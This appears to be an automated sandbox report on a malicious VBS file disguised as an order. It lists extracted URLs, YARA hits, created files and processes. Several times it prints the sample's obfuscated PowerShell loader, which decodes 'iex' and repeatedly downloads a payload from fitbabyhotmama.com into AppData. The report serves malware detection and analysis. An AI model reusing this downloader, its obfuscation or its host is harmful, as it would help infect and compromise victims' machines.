Source: powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.c
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.co
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399E973000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/u
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/un
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/unc
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/unco
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncom
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncomm
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncomme
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommen
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommens
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensu
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensur
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensura
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurat
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurate
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensuratel
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurately
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurately.
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurately.d
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurately.dw
Source: powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurately.dwp
Source: powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurately.dwpP
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fitbabyhotmama.com/uncommensurately.dwpXR
Source: svchost.exe, 00000003.00000003.1203825789.0000020BFD952000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000003.00000003.1203825789.0000020BFD952000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1376251032.00000239ADAD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000003.00000003.1203825789.0000020BFD952000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715

Source: unknown	HTTPS traffic detected: 195.191.149.35:443 -> 192.168.2.4:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.191.149.35:443 -> 192.168.2.4:49715 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_7912.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8044, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7912, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Call Unpoeticised75.ShellExecute(antibridal & Resicken61, Rebeginning, "", "", Gasarterne)

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BAT
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BAT			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFC3DE5B596	1_2_00007FFC3DE5B596
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFC3DE5C342	1_2_00007FFC3DE5C342
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFC3DF2AEC7	1_2_00007FFC3DF2AEC7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFC3DF267FB	1_2_00007FFC3DF267FB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04926F68	11_2_04926F68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04926F68	11_2_04926F68

Source: Rendeles nr13252436324563635635464574544545445474.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3447
Source: unknown	Process created: Commandline size = 3447
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3447	Jump to behavior

Source: amsi32_7912.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8044, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7912, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal92.troj.expl.evad.winVBS@7/13@1/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Lithochemistry.Uva

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tupitnx4.qq0.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7912
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=8044
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7912

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Rendeles nr13252436324563635635464574544545445474.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BAT
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BAT
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E 